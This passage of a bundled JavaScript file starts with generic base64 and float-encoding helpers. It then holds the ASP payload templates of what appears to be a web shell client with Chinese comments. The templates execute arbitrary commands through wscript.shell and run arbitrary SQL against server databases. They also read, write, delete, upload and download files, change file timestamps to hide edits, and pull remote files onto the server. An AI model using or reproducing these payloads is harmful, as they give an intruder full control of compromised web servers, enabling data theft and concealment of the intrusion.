// pad the end with zeros, but make sure to not forget the extra bytes
switch (extraBytes) {
case 1:
temp = uint8[uint8.length - 1]
output += encode(temp >> 2)
output += encode((temp << 4) & 0x3F)
output += '=='
break
case 2:
temp = (uint8[uint8.length - 2] << 8) + (uint8[uint8.length - 1])
output += encode(temp >> 10)
output += encode((temp >> 4) & 0x3F)
output += encode((temp << 2) & 0x3F)
output += '='
break
}
return output
}
exports.toByteArray = b64ToByteArray
exports.fromByteArray = uint8ToBase64
}( false ? (this.base64js = {}) : exports))
/***/ },
/* 7 */
/***/ function(module, exports) {
exports.read = function (buffer, offset, isLE, mLen, nBytes) {
var e, m
var eLen = nBytes * 8 - mLen - 1
var eMax = (1 << eLen) - 1
var eBias = eMax >> 1
var nBits = -7
var i = isLE ? (nBytes - 1) : 0
var d = isLE ? -1 : 1
var s = buffer[offset + i]
i += d
e = s & ((1 << (-nBits)) - 1)
s >>= (-nBits)
nBits += eLen
for (; nBits > 0; e = e * 256 + buffer[offset + i], i += d, nBits -= 8) {}
m = e & ((1 << (-nBits)) - 1)
e >>= (-nBits)
nBits += mLen
for (; nBits > 0; m = m * 256 + buffer[offset + i], i += d, nBits -= 8) {}
if (e === 0) {
e = 1 - eBias
} else if (e === eMax) {
return m ? NaN : ((s ? -1 : 1) * Infinity)
} else {
m = m + Math.pow(2, mLen)
e = e - eBias
}
return (s ? -1 : 1) * m * Math.pow(2, e - mLen)
}
exports.write = function (buffer, value, offset, isLE, mLen, nBytes) {
var e, m, c
var eLen = nBytes * 8 - mLen - 1
var eMax = (1 << eLen) - 1
var eBias = eMax >> 1
var rt = (mLen === 23 ? Math.pow(2, -24) - Math.pow(2, -77) : 0)
var i = isLE ? 0 : (nBytes - 1)
var d = isLE ? 1 : -1
var s = value < 0 || (value === 0 && 1 / value < 0) ? 1 : 0
value = Math.abs(value)
if (isNaN(value) || value === Infinity) {
m = isNaN(value) ? 1 : 0
e = eMax
} else {
e = Math.floor(Math.log(value) / Math.LN2)
if (value * (c = Math.pow(2, -e)) < 1) {
e--
c *= 2
}
if (e + eBias >= 1) {
value += rt / c
} else {
value += rt * Math.pow(2, 1 - eBias)
}
if (value * c >= 2) {
e++
c /= 2
}
if (e + eBias >= eMax) {
m = 0
e = eMax
} else if (e + eBias >= 1) {
m = (value * c - 1) * Math.pow(2, mLen)
e = e + eBias
} else {
m = value * Math.pow(2, eBias - 1) * Math.pow(2, mLen)
e = 0
}
}
for (; mLen >= 8; buffer[offset + i] = m & 0xff, i += d, m /= 256, mLen -= 8) {}
e = (e << mLen) | m
eLen += mLen
for (; eLen > 0; buffer[offset + i] = e & 0xff, i += d, e /= 256, eLen -= 8) {}
buffer[offset + i - d] |= s * 128
}
/***/ },
/* 8 */
/***/ function(module, exports) {
var toString = {}.toString;
module.exports = Array.isArray || function (arr) {
return toString.call(arr) == '[object Array]';
};
/***/ },
/* 9 */
/***/ function(module, exports, __webpack_require__) {
var map = {
"./argv": 10,
"./argv.jsx": 10,
"./base": 11,
"./base.jsx": 11,
"./command": 12,
"./command.jsx": 12,
"./database/access": 13,
"./database/access.jsx": 13,
"./database/default": 14,
"./database/default.jsx": 14,
"./database/dsn": 15,
"./database/dsn.jsx": 15,
"./database/microsoft_jet_oledb_4_0": 16,
"./database/microsoft_jet_oledb_4_0.jsx": 16,
"./database/mysql": 17,
"./database/mysql.jsx": 17,
"./database/oracle": 18,
"./database/oracle.jsx": 18,
"./database/sqloledb_1": 19,
"./database/sqloledb_1.jsx": 19,
"./database/sqloledb_1_sspi": 20,
"./database/sqloledb_1_sspi.jsx": 20,
"./database/sqlserver": 21,
"./database/sqlserver.jsx": 21,
"./filemanager": 22,
"./filemanager.jsx": 22
};
function webpackContext(req) {
return __webpack_require__(webpackContextResolve(req));
};
function webpackContextResolve(req) {
return map[req] || (function() { throw new Error("Cannot find module '" + req + "'.") }());
};
webpackContext.keys = function webpackContextKeys() {
return Object.keys(map);
};
webpackContext.resolve = webpackContextResolve;
module.exports = webpackContext;
webpackContext.id = 9;
/***/ },
/* 10 */
/***/ function(module, exports) {
"use strict";
Object.defineProperty(exports, "__esModule", {
value: true
});
/**
* 在模板中使用
* 1. 加载需要的参数列表： import { arg1, arg2, arg3 } from './argv';
* 2. 嵌入代码参数中：codes={[arg1]: `echo "${arg1}";`}...
**/
var random = function random() {
return "0x" + (Math.random() + Math.random()).toString(16).substr(2);
};
var arg1 = exports.arg1 = random();
var arg2 = exports.arg2 = random();
var arg3 = exports.arg3 = random();
var arg4 = exports.arg4 = random();
var arg5 = exports.arg5 = random();
var arg6 = exports.arg6 = random();
/***/ },
/* 11 */
/***/ function(module, exports) {
"use strict";
//
// 基础信息模板
// 获取：当前路径、磁盘列表
//
module.exports = {
info: "Dim S:SET C=CreateObject(\"Scripting.FileSystemObject\"):If Err Then:S=\"ERROR:// \"&Err.Description:Err.Clear:Else:S=Server.Mappath(\".\")&chr(9):For Each D in C.Drives:S=S&D.DriveLetter&chr(58):Next:End If:Response.Write(S)"
};
/***/ },
/* 12 */
/***/ function(module, exports, __webpack_require__) {
"use strict";
var _exec;
var _argv = __webpack_require__(10);
function _defineProperty(obj, key, value) { if (key in obj) { Object.defineProperty(obj, key, { value: value, enumerable: true, configurable: true, writable: true }); } else { obj[key] = value; } return obj; } //
// 命令执行模板
//
module.exports = {
exec: (_exec = {
_: "Set X=CreateObject(\"wscript.shell\").exec(\"\"\"\"&bd(Request(\"" + _argv.arg1 + "\"))&\"\"\" /c \"\"\"&bd(Request(\"" + _argv.arg2 + "\"))&\"\"\"\"):If Err Then:S=\"[Err] \"&Err.Description:Err.Clear:Else:O=X.StdOut.ReadAll():E=X.StdErr.ReadAll():S=O&E:End If:Response.write(S)"
}, _defineProperty(_exec, _argv.arg1, "#{hex::bin}"), _defineProperty(_exec, _argv.arg2, "#{hex::cmd}"), _exec)
};
/***/ },
/* 13 */
/***/ function(module, exports, __webpack_require__) {
'use strict';
var _show_databases, _show_columns, _query;
var _argv = __webpack_require__(10);
function _defineProperty(obj, key, value) { if (key in obj) { Object.defineProperty(obj, key, { value: value, enumerable: true, configurable: true, writable: true }); } else { obj[key] = value; } return obj; } //
// ASP::access数据库驱动代码模板
//
module.exports = {
// 显示所有数据库
show_databases: (_show_databases = {
_: 'Set Conn=Server.CreateObject("Adodb.connection"):Dim SI:Conn.Open bd(Request("' + _argv.arg1 + '")):If Err Then:SI="ERROR:// "&Err.Description:Err.Clear:Else:SI=Request("' + _argv.arg2 + '")&chr(9):Conn.Close:End If:Set Conn=Nothing:Response.Write(SI)'
}, _defineProperty(_show_databases, _argv.arg1, '#{hex::conn}'), _defineProperty(_show_databases, _argv.arg2, '#{dbname}'), _show_databases),
// 显示数据库所有表
show_tables: _defineProperty({
_: 'Set Conn=Server.CreateObject("Adodb.connection"):Dim SI:Conn.Open ""&bd(Request("' + _argv.arg1 + '"))&"":If Err Then:SI="ERROR:// "&Err.Description:Err.Clear:Else:Set Rs=Conn.OpenSchema(20):Rs.MoveFirst:SI="":Do While Not Rs.Eof:If Rs("TABLE_TYPE")="TABLE" Then:SI=SI&Rs("TABLE_NAME")&chr(9):End If:Rs.MoveNext:Loop:Set Rs=Nothing:Conn.Close:End If:Set Conn=Nothing:Response.Write(SI)'
}, _argv.arg1, '#{hex::conn}'),
// 显示表字段
show_columns: (_show_columns = {
_: 'Function TN(n):Select Case n:Case 2:TN="smallint":Case 3:TN="int":Case 4:TN="real":Case 5:TN="float":Case 6:TN="money":Case 7:TN="datetime":Case 11:TN="bit":Case 12:TN="variant":Case 16:TN="tinyint":Case 17:TN="tinyint":Case 20:TN="bigint":Case 72:TN="unique":Case 128:TN="binary":Case 129:TN="char":Case 130:TN="nchar":Case 131:TN="numeric":Case 135:TN="datetime":Case 200:TN="varchar":Case 201:TN="text":Case 202:TN="nvarchar":Case 203:TN="ntext":Case 204:TN="varbinary":Case 205:TN="image":Case Else:TN=n:End Select:End Function:Set Conn=Server.CreateObject("Adodb.connection"):Dim SI:Conn.Open ""&bd(Request("' + _argv.arg1 + '"))&"":If Err Then:SI="ERROR:// "&Err.Description:Err.Clear:Else:Set Rs=CreateObject("Adodb.Recordset"):Rs.open ""&bd(Request("' + _argv.arg2 + '"))&"",Conn,1,1:If Err Then:SI="ERROR:// "&Err.Description:Err.Clear:Else:For n=0 To Rs.Fields.Count-1:SI=SI&Rs.Fields.Item(n).Name&" ("&TN(Rs.Fields.Item(n).Type)&")"&chr(9):Next:Rs.Close:End If:Set Rs=Nothing:Conn.Close:End If:Set Conn=Nothing:Response.Write(SI)'
}, _defineProperty(_show_columns, _argv.arg1, '#{hex::conn}'), _defineProperty(_show_columns, _argv.arg2, '#{hex::table}'), _show_columns),
// 执行SQL语句
query: (_query = {
_: 'Set Conn=Server.CreateObject("Adodb.connection"):Conn.Open ""&bd(Request("' + _argv.arg1 + '"))&"":Dim CO,HD,RN:CO=chr(9)&chr(124)&chr(9):RN=chr(13)&chr(10):HD="Result"&CO&RN:If Err Then:Response.Write HD&Err.Description&CO&RN:Err.Clear:Else:Set Rs=Conn.Execute(""&bd(Request("' + _argv.arg2 + '"))&""):If Err Then:Response.Write HD&Err.Number&":"&Err.Description&CO&RN:Err.Clear:Else:Dim FN:FN=Rs.Fields.Count-1:For n=0 To FN:Response.Write Rs.Fields.Item(n).Name&CO:Next:Response.Write RN:Do While Not(Rs.Eof Or Rs.Bof):For n=0 To FN:Response.Write Rs(n):Response.Write CO:Next:Response.Write RN:Rs.MoveNext:Loop:End If:Set Rs=Nothing:Conn.Close:End If:Set Conn=Nothing:'
}, _defineProperty(_query, _argv.arg1, '#{hex::conn}'), _defineProperty(_query, _argv.arg2, '#{hex::sql}'), _query)
};
/***/ },
/* 14 */
/***/ function(module, exports, __webpack_require__) {
'use strict';
var _show_columns, _query;
var _argv = __webpack_require__(10);
function _defineProperty(obj, key, value) { if (key in obj) { Object.defineProperty(obj, key, { value: value, enumerable: true, configurable: true, writable: true }); } else { obj[key] = value; } return obj; } //
// 默认数据库操作代码模板
//
module.exports = {
// 显示所有数据库
show_databases: _defineProperty({
_: 'Set Conn=Server.CreateObject("Adodb.connection"):Dim SI:Conn.Open bd(Request("' + _argv.arg1 + '")):If Err Then:SI="ERROR:// "&Err.Description:Err.Clear:Else:SI="[ADO DATABASE]"&chr(9):Conn.Close:End If:Set Conn=Nothing:Response.Write(SI)'
}, _argv.arg1, '#{hex::conn}'),
// 显示数据库所有表
show_tables: _defineProperty({
_: 'Set Conn=Server.CreateObject("Adodb.connection"):Dim SI:Conn.Open ""&bd(Request("' + _argv.arg1 + '"))&"":If Err Then:SI="ERROR:// "&Err.Description:Err.Clear:Else:Set Rs=Conn.OpenSchema(20):Rs.MoveFirst:SI="":Do While Not Rs.Eof:If Rs("TABLE_TYPE")="TABLE" Then:SI=SI&Rs("TABLE_NAME")&chr(9):End If:Rs.MoveNext:Loop:Set Rs=Nothing:Conn.Close:End If:Set Conn=Nothing:Response.Write(SI)'
}, _argv.arg1, '#{hex::conn}'),
// 显示表字段
show_columns: (_show_columns = {
_: 'Function TN(n):Select Case n:Case 2:TN="smallint":Case 3:TN="int":Case 4:TN="real":Case 5:TN="float":Case 6:TN="money":Case 7:TN="datetime":Case 11:TN="bit":Case 12:TN="variant":Case 16:TN="tinyint":Case 17:TN="tinyint":Case 20:TN="bigint":Case 72:TN="unique":Case 128:TN="binary":Case 129:TN="char":Case 130:TN="nchar":Case 131:TN="numeric":Case 135:TN="datetime":Case 200:TN="varchar":Case 201:TN="text":Case 202:TN="nvarchar":Case 203:TN="ntext":Case 204:TN="varbinary":Case 205:TN="image":Case Else:TN=n:End Select:End Function:Set Conn=Server.CreateObject("Adodb.connection"):Dim SI:Conn.Open ""&bd(Request("' + _argv.arg1 + '"))&"":If Err Then:SI="ERROR:// "&Err.Description:Err.Clear:Else:Set Rs=CreateObject("Adodb.Recordset"):Rs.open ""&bd(Request("' + _argv.arg2 + '"))&"",Conn,1,1:If Err Then:SI="ERROR:// "&Err.Description:Err.Clear:Else:For n=0 To Rs.Fields.Count-1:SI=SI&Rs.Fields.Item(n).Name&" ("&TN(Rs.Fields.Item(n).Type)&")"&chr(9):Next:Rs.Close:End If:Set Rs=Nothing:Conn.Close:End If:Set Conn=Nothing:Response.Write(SI)'
}, _defineProperty(_show_columns, _argv.arg1, '#{hex::conn}'), _defineProperty(_show_columns, _argv.arg2, '#{hex::table}'), _show_columns),
// 执行SQL语句
query: (_query = {
_: 'Set Conn=Server.CreateObject("Adodb.connection"):Conn.Open ""&bd(Request("' + _argv.arg1 + '"))&"":Dim CO,HD,RN:CO=chr(9)&chr(124)&chr(9):RN=chr(13)&chr(10):HD="Result"&CO&RN:If Err Then:Response.Write HD&Err.Description&CO&RN:Err.Clear:Else:Set Rs=Conn.Execute(""&bd(Request("' + _argv.arg2 + '"))&""):If Err Then:Response.Write HD&Err.Number&":"&Err.Description&CO&RN:Err.Clear:Else:Dim FN:FN=Rs.Fields.Count-1:For n=0 To FN:Response.Write Rs.Fields.Item(n).Name&CO:Next:Response.Write RN:Do While Not(Rs.Eof Or Rs.Bof):For n=0 To FN:Response.Write Rs(n):Response.Write CO:Next:Response.Write RN:Rs.MoveNext:Loop:End If:Set Rs=Nothing:Conn.Close:End If:Set Conn=Nothing:'
}, _defineProperty(_query, _argv.arg1, '#{hex::conn}'), _defineProperty(_query, _argv.arg2, '#{hex::sql}'), _query)
};
/***/ },
/* 15 */
/***/ function(module, exports, __webpack_require__) {
'use strict';
//
// ASP::DNS数据库驱动代码模板
//
module.exports = __webpack_require__(14);
/***/ },
/* 16 */
/***/ function(module, exports, __webpack_require__) {
'use strict';
//
// ASP::microsoft_jet_oledb_4_0数据库驱动代码模板
//
module.exports = __webpack_require__(13);
/***/ },
/* 17 */
/***/ function(module, exports, __webpack_require__) {
'use strict';
//
// ASP::mysql数据库驱动代码模板
//
module.exports = __webpack_require__(14);
/***/ },
/* 18 */
/***/ function(module, exports, __webpack_require__) {
'use strict';
var _show_columns, _query;
var _argv = __webpack_require__(10);
function _defineProperty(obj, key, value) { if (key in obj) { Object.defineProperty(obj, key, { value: value, enumerable: true, configurable: true, writable: true }); } else { obj[key] = value; } return obj; } //
// ASP::oracle数据库驱动代码模板
//
module.exports = {
// 显示所有数据库
show_databases: _defineProperty({
_: 'Set Conn=Server.CreateObject("Adodb.connection"):Dim SI:Conn.Open bd(Request("' + _argv.arg1 + '")):If Err Then:SI="ERROR:// "&Err.Description:Err.Clear:Else:SI="[ADO DATABASE]"&chr(9):Conn.Close:End If:Set Conn=Nothing:Response.Write(SI)'
}, _argv.arg1, '#{hex::conn}'),
// 显示数据库所有表
show_tables: _defineProperty({
_: 'Set Conn=Server.CreateObject("Adodb.connection"):Dim SI:Conn.Open ""&bd(Request("' + _argv.arg1 + '"))&"":If Err Then:SI="ERROR:// "&Err.Description:Err.Clear:Else:Set Rs=Conn.Execute("SELECT TABLE_NAME FROM ALL_TABLES"):If Err Then:SI="ERROR:// "&Err.Description:Err.Clear:Else:Do While Not(Rs.Eof Or Rs.Bof):SI=SI&Rs(0)&chr(9):Rs.MoveNext:Loop:End If:Set Rs=Nothing:Conn.Close:End If:Set Conn=Nothing:Response.Write(SI)'
}, _argv.arg1, '#{hex::conn}'),
// 显示表字段
show_columns: (_show_columns = {
_: 'Function TN(n):Select Case n:Case 2:TN="smallint":Case 3:TN="int":Case 4:TN="real":Case 5:TN="float":Case 6:TN="money":Case 7:TN="datetime":Case 11:TN="bit":Case 12:TN="variant":Case 16:TN="tinyint":Case 17:TN="tinyint":Case 20:TN="bigint":Case 72:TN="unique":Case 128:TN="binary":Case 129:TN="char":Case 130:TN="nchar":Case 131:TN="numeric":Case 135:TN="datetime":Case 200:TN="varchar":Case 201:TN="text":Case 202:TN="nvarchar":Case 203:TN="ntext":Case 204:TN="varbinary":Case 205:TN="image":Case Else:TN=n:End Select:End Function:Set Conn=Server.CreateObject("Adodb.connection"):Dim SI:Conn.Open ""&bd(Request("' + _argv.arg1 + '"))&"":If Err Then:SI="ERROR:// "&Err.Description:Err.Clear:Else:Set Rs=CreateObject("Adodb.Recordset"):Rs.open ""&bd(Request("' + _argv.arg2 + '"))&"",Conn,1,1:If Err Then:SI="ERROR:// "&Err.Description:Err.Clear:Else:For n=0 To Rs.Fields.Count-1:SI=SI&Rs.Fields.Item(n).Name&" ("&TN(Rs.Fields.Item(n).Type)&")"&chr(9):Next:Rs.Close:End If:Set Rs=Nothing:Conn.Close:End If:Set Conn=Nothing:Response.Write(SI)'
}, _defineProperty(_show_columns, _argv.arg1, '#{hex::conn}'), _defineProperty(_show_columns, _argv.arg2, '#{hex::table}'), _show_columns),
// 执行SQL语句
query: (_query = {
_: 'Set Conn=Server.CreateObject("Adodb.connection"):Conn.Open ""&bd(Request("' + _argv.arg1 + '"))&"":Dim CO,HD,RN:CO=chr(9)&chr(124)&chr(9):RN=chr(13)&chr(10):HD="Result"&CO&RN:If Err Then:Response.Write HD&Err.Description&CO&RN:Err.Clear:Else:Set Rs=Conn.Execute(""&bd(Request("' + _argv.arg2 + '"))&""):If Err Then:Response.Write HD&Err.Number&":"&Err.Description&CO&RN:Err.Clear:Else:Dim FN:FN=Rs.Fields.Count-1:For n=0 To FN:Response.Write Rs.Fields.Item(n).Name&CO:Next:Response.Write RN:Do While Not(Rs.Eof Or Rs.Bof):For n=0 To FN:Response.Write Rs(n):Response.Write CO:Next:Response.Write RN:Rs.MoveNext:Loop:End If:Set Rs=Nothing:Conn.Close:End If:Set Conn=Nothing:'
}, _defineProperty(_query, _argv.arg1, '#{hex::conn}'), _defineProperty(_query, _argv.arg2, '#{hex::sql}'), _query)
};
/***/ },
/* 19 */
/***/ function(module, exports, __webpack_require__) {
'use strict';
//
// ASP::sqloledb_1数据库驱动代码模板
//
module.exports = __webpack_require__(14);
/***/ },
/* 20 */
/***/ function(module, exports, __webpack_require__) {
'use strict';
//
// ASP::sqloledb_1_sspi数据库驱动代码模板
//
module.exports = __webpack_require__(14);
/***/ },
/* 21 */
/***/ function(module, exports, __webpack_require__) {
'use strict';
var _show_tables, _show_columns, _query;
var _argv = __webpack_require__(10);
function _defineProperty(obj, key, value) { if (key in obj) { Object.defineProperty(obj, key, { value: value, enumerable: true, configurable: true, writable: true }); } else { obj[key] = value; } return obj; } //
// ASP::mysql数据库驱动代码模板
//
module.exports = {
// 显示所有数据库
show_databases: _defineProperty({
_: 'Set Conn=Server.CreateObject("Adodb.connection"):Dim SI:Conn.Open bd(Request("z1")):If Err Then:SI="ERROR:// "&Err.Description:Err.Clear:Else:Set Rs=CreateObject("Adodb.Recordset"):Rs.open "select [name] from master.dbo.sysdatabases order by 1",Conn,1,1:If Err Then:SI="ERROR:// "&Err.Description:Err.Clear:Else:Do While Not(Rs.Eof Or Rs.Bof):SI=SI&Rs(0)&chr(9):Rs.MoveNext:Loop:Rs.Close:End If:Set Rs=Nothing:Conn.Close:End If:Set Conn=Nothing:Response.Write(SI)'
}, _argv.arg1, '#{hex::conn}'),
// 显示数据库所有表
show_tables: (_show_tables = {
_: 'Set Conn=Server.CreateObject("Adodb.connection"):Dim SI:Conn.Open ""&bd(Request("z1"))&"":If Err Then:SI="ERROR:// "&Err.Description:Err.Clear:Else:Set Rs=Conn.Execute("USE ["&Request("z2")&"];SELECT [name] FROM sysobjects WHERE (xtype=\'U\') ORDER BY 1"):If Err Then:SI="ERROR:// "&Err.Description:Err.Clear:Else:Do While Not(Rs.Eof Or Rs.Bof):SI=SI&Rs(0)&chr(9):Rs.MoveNext:Loop:End If:Set Rs=Nothing:Conn.Close:End If:Set Conn=Nothing:Response.Write(SI)'
}, _defineProperty(_show_tables, _argv.arg1, '#{hex::conn}'), _defineProperty(_show_tables, _argv.arg2, '#{dbname}'), _show_tables),
// 显示表字段
show_columns: (_show_columns = {
_: 'Function TN(n):Select Case n:Case 2:TN="smallint":Case 3:TN="int":Case 4:TN="real":Case 5:TN="float":Case 6:TN="money":Case 7:TN="datetime":Case 11:TN="bit":Case 12:TN="variant":Case 16:TN="tinyint":Case 17:TN="tinyint":Case 20:TN="bigint":Case 72:TN="unique":Case 128:TN="binary":Case 129:TN="char":Case 130:TN="nchar":Case 131:TN="numeric":Case 135:TN="datetime":Case 200:TN="varchar":Case 201:TN="text":Case 202:TN="nvarchar":Case 203:TN="ntext":Case 204:TN="varbinary":Case 205:TN="image":Case Else:TN=n:End Select:End Function:Set Conn=Server.CreateObject("Adodb.connection"):Dim SI:Conn.Open ""&bd(Request("' + _argv.arg1 + '"))&"":If Err Then:SI="ERROR:// "&Err.Description:Err.Clear:Else:Set Rs=CreateObject("Adodb.Recordset"):Rs.open ""&bd(Request("' + _argv.arg2 + '"))&"",Conn,1,1:If Err Then:SI="ERROR:// "&Err.Description:Err.Clear:Else:For n=0 To Rs.Fields.Count-1:SI=SI&Rs.Fields.Item(n).Name&" ("&TN(Rs.Fields.Item(n).Type)&")"&chr(9):Next:Rs.Close:End If:Set Rs=Nothing:Conn.Close:End If:Set Conn=Nothing:Response.Write(SI)'
}, _defineProperty(_show_columns, _argv.arg1, '#{hex::conn}'), _defineProperty(_show_columns, _argv.arg2, '#{hex::table}'), _show_columns),
// 执行SQL语句
query: (_query = {
_: 'Set Conn=Server.CreateObject("Adodb.connection"):Conn.Open ""&bd(Request("' + _argv.arg1 + '"))&"":Dim CO,HD,RN:CO=chr(9)&chr(124)&chr(9):RN=chr(13)&chr(10):HD="Result"&CO&RN:If Err Then:Response.Write HD&Err.Description&CO&RN:Err.Clear:Else:Set Rs=Conn.Execute(""&bd(Request("' + _argv.arg2 + '"))&""):If Err Then:Response.Write HD&Err.Number&":"&Err.Description&CO&RN:Err.Clear:Else:Dim FN:FN=Rs.Fields.Count-1:For n=0 To FN:Response.Write Rs.Fields.Item(n).Name&CO:Next:Response.Write RN:Do While Not(Rs.Eof Or Rs.Bof):For n=0 To FN:Response.Write Rs(n):Response.Write CO:Next:Response.Write RN:Rs.MoveNext:Loop:End If:Set Rs=Nothing:Conn.Close:End If:Set Conn=Nothing:'
}, _defineProperty(_query, _argv.arg1, '#{hex::conn}'), _defineProperty(_query, _argv.arg2, '#{hex::sql}'), _query)
};
/***/ },
/* 22 */
/***/ function(module, exports, __webpack_require__) {
"use strict";
var _create_file, _copy, _upload_file, _rename, _retime, _wget;
var _argv = __webpack_require__(10);
function _defineProperty(obj, key, value) { if (key in obj) { Object.defineProperty(obj, key, { value: value, enumerable: true, configurable: true, writable: true }); } else { obj[key] = value; } return obj; } //
// 文件管理模板
//
module.exports = {
dir: _defineProperty({
_: "Dim RR:RR=bd(Request(\"" + _argv.arg1 + "\")):Function FD(dt):FD=Year(dt)&\"-\":If Len(Month(dt))=1 Then:FD = FD&\"0\":End If:FD=FD&Month(dt)&\"-\":If Len(Day(dt))=1 Then:FD=FD&\"0\":End If:FD=FD&Day(dt)&\" \"&FormatDateTime(dt,4)&\":\":If Len(Second(dt))=1 Then:FD=FD&\"0\":End If:FD=FD&Second(dt):End Function:SET C=CreateObject(\"Scripting.FileSystemObject\"):Set FO=C.GetFolder(\"\"&RR&\"\"):If Err Then:Response.Write(\"ERROR:// \"&Err.Description):Err.Clear:Else:For Each F in FO.subfolders:Response.Write F.Name&chr(47)&chr(9)&FD(F.DateLastModified)&chr(9)&chr(48)&chr(9)&C.GetFolder(F.Path).attributes&chr(10):Next:For Each L in FO.files:Response.Write L.Name&chr(9)&FD(L.DateLastModified)&chr(9)&L.size&chr(9)&C.GetFile(L.Path).attributes&chr(10):Next:End If"
}, _argv.arg1, "#{hex::path}"),
delete: _defineProperty({
_: "Dim P:P=bd(Request(\"" + _argv.arg1 + "\")):Set FS=CreateObject(\"Scripting.FileSystemObject\"):If FS.FolderExists(P)=true Then:FS.DeleteFolder(P):Else:FS.DeleteFile(P):End If:Set FS=Nothing:If Err Then:S=\"ERROR:// \"&Err.Description:Else:S=\"1\":Response.Write(S):End If"
}, _argv.arg1, "#{hex::path}"),
create_file: (_create_file = {
_: "CreateObject(\"Scripting.FileSystemObject\").CreateTextFile(\"\"&bd(Request(\"" + _argv.arg1 + "\"))&\"\").Write(\"\"&bd(Request(\"" + _argv.arg2 + "\"))&\"\"):If Err Then:S=\"ERROR:// \"&Err.Description:Else:S=\"1\":Response.Write(S):End If"
}, _defineProperty(_create_file, _argv.arg1, "#{hex::path}"), _defineProperty(_create_file, _argv.arg2, "#{hex::content}"), _create_file),
read_file: _defineProperty({
_: "Response.Write(CreateObject(\"Scripting.FileSystemObject\").OpenTextfile(bd(Request(\"" + _argv.arg1 + "\")),1,False).readall):If Err Then:Response.Write(\"ERROR:// \"&Err.Description):Err.Clear:End If"
}, _argv.arg1, "#{hex::path}"),
copy: (_copy = {
_: "SF=bd(Request(\"" + _argv.arg1 + "\")):DF=bd(Request(\"" + _argv.arg2 + "\")):Set Fs=CreateObject(\"Scripting.FileSystemObject\"):If Fs.FolderExists(SF) Then:Fs.CopyFolder SF,DF:Else:Fs.CopyFile SF,DF:End If:Set Fs=Nothing:If Err Then:SI=\"ERROR:// \"&Err.Description:else:SI=\"1\":End If:Response.Write(SI)"
}, _defineProperty(_copy, _argv.arg1, "#{hex::path}"), _defineProperty(_copy, _argv.arg2, "#{hex::target}"), _copy),
download_file: _defineProperty({
_: "Dim i,c,r:Set S=Server.CreateObject(\"Adodb.Stream\"):If Not Err Then:With S:.Mode=3:.Type=1:.Open:.LoadFromFile(bd(Request(\"" + _argv.arg1 + "\"))):i=0:c=.Size:r=1024:While i<c:Response.BinaryWrite .Read(r):Response.Flush:i=i+r:Wend:.Close:Set S=Nothing:End With:Else:Response.BinaryWrite \"ERROR:// \"&Err.Description:End If"
}, _argv.arg1, "#{hex::path}"),
upload_file: (_upload_file = {
_: "Dim l,ss,ff,T:ff=bd(request(\"" + _argv.arg1 + "\")):ss=Request(\"" + _argv.arg2 + "\"):l=Len(ss):Set S=Server.CreateObject(\"Adodb.Stream\"):With S:.Type=1:.Mode=3:.Open:On Error Resume Next:.LoadFromFile \"\"&ff&\"\":.Position=.Size:If Err Then:Err.Clear:End If:set rs=CreateObject(\"ADODB.Recordset\"):rs.fields.append \"bb\",205,l/2:rs.open:rs.addnew:rs(\"bb\")=ss+chrb(0):rs.update:.Write rs(\"bb\").getchunk(l/2):rs.close:Set rs=Nothing:.Position=0:.SaveToFile \"\"&ff&\"\",2:.Close:End With:Set S=Nothing:If Err Then:T=Err.Description:Err.Clear:Else:T=\"1\":End If:Response.Write(T)"
}, _defineProperty(_upload_file, _argv.arg1, "#{hex::path}"), _defineProperty(_upload_file, _argv.arg2, "#{buffer::content}"), _defineProperty(_upload_file, _argv.arg3, "1"), _upload_file),
rename: (_rename = {
_: "SF=bd(Request(\"" + _argv.arg1 + "\")):DF=bd(Request(\"" + _argv.arg2 + "\")):Set Fs=CreateObject(\"Scripting.FileSystemObject\"):If Fs.FolderExists(SF) Then:Fs.MoveFolder SF,DF:Else:Fs.MoveFile SF,DF:End If:Set Fs=Nothing:If Err Then:SI=\"ERROR:// \"&Err.Description:Else:SI=\"1\":End If:Response.Write(SI)"
}, _defineProperty(_rename, _argv.arg1, "#{hex::path}"), _defineProperty(_rename, _argv.arg2, "#{hex::name}"), _rename),
retime: (_retime = {
_: "FN=bd(Request(\"" + _argv.arg1 + "\")):TM=bd(Request(\"" + _argv.arg2 + "\")):AA=Split(FN,\"\\\"):PT=\"\":For i=LBound(AA) To UBound(AA)-1:PT=PT&AA(i)&\"\\\":Next:NM=AA(UBound(AA)):Server.CreateObject(\"Shell.Application\").NameSpace(PT).ParseName(NM).Modifydate=TM:If Err Then:SI=\"ERROR:// \"&PT&Err.Description:Err.Clear:Else:SI=\"1\":End If:Response.Write(SI)"
}, _defineProperty(_retime, _argv.arg1, "#{hex::path}"), _defineProperty(_retime, _argv.arg2, "#{hex::time}"), _retime),
mkdir: _defineProperty({
_: "Set Fs=CreateObject(\"Scripting.FileSystemObject\"):Fs.CreateFolder(bd(Request(\"" + _argv.arg1 + "\"))):Set Fs=Nothing:If Err Then:S=\"ERROR:// \"&Err.Description:Else:S=\"1\":End If:Response.Write(S)"
}, _argv.arg1, "#{hex::path}"),
wget: (_wget = {
_: "Dim SI:Set x=CreateObject(\"Microsoft.XMLHTTP\"):x.Open \"GET\",\"\"&bd(Request(\"" + _argv.arg1 + "\"))&\"\",0:x.Send():If Err Then:SI=\"ERROR:// \"&Err.Description:Err.Clear:Else:set s=CreateObject(\"ADODB.Stream\"):s.Mode=3:s.Type=1:s.Open():s.Write x.ResponseBody:s.SaveToFile \"\"&bd(Request(\"" + _argv.arg2 + "\"))&\"\",2:If Err Then:SI=\"ERROR:// \"&Err.Description:Err.Clear:Else:SI=\"1\":End If:Set x=Nothing:Set s=Nothing:End If:Response.Write(SI)"
}, _defineProperty(_wget, _argv.arg1, "#{hex::url}"), _defineProperty(_wget, _argv.arg2, "#{hex::path}"), _wget)
};
/***/ },
/* 23 */
/***/ function(module, exports, __webpack_require__) {
var map = {
"./base64": 24,
"./base64.jsx": 24,
"./chr": 25,
"./chr.jsx": 25
};
function webpackContext(req) {
return __webpack_require__(webpackContextResolve(req));
};
function webpackContextResolve(req) {
return map[req] || (function() { throw new Error("Cannot find module '" + req + "'.") }());
};
webpackContext.keys = function webpackContextKeys() {
return Object.keys(map);
};
webpackContext.resolve = webpackContextResolve;
module.exports = webpackContext;
webpackContext.id = 23;
/***/ },
/* 24 */
/***/ function(module, exports, __webpack_require__) {
/* WEBPACK VAR INJECTION */(function(Buffer) {//
// php::base64 编码模块
//
'use strict';
module.exports = function (pwd, data) {
var randomID = '_0x' + Math.random().toString(16).substr(2);
data[randomID] = new Buffer(data['_']).toString('base64');
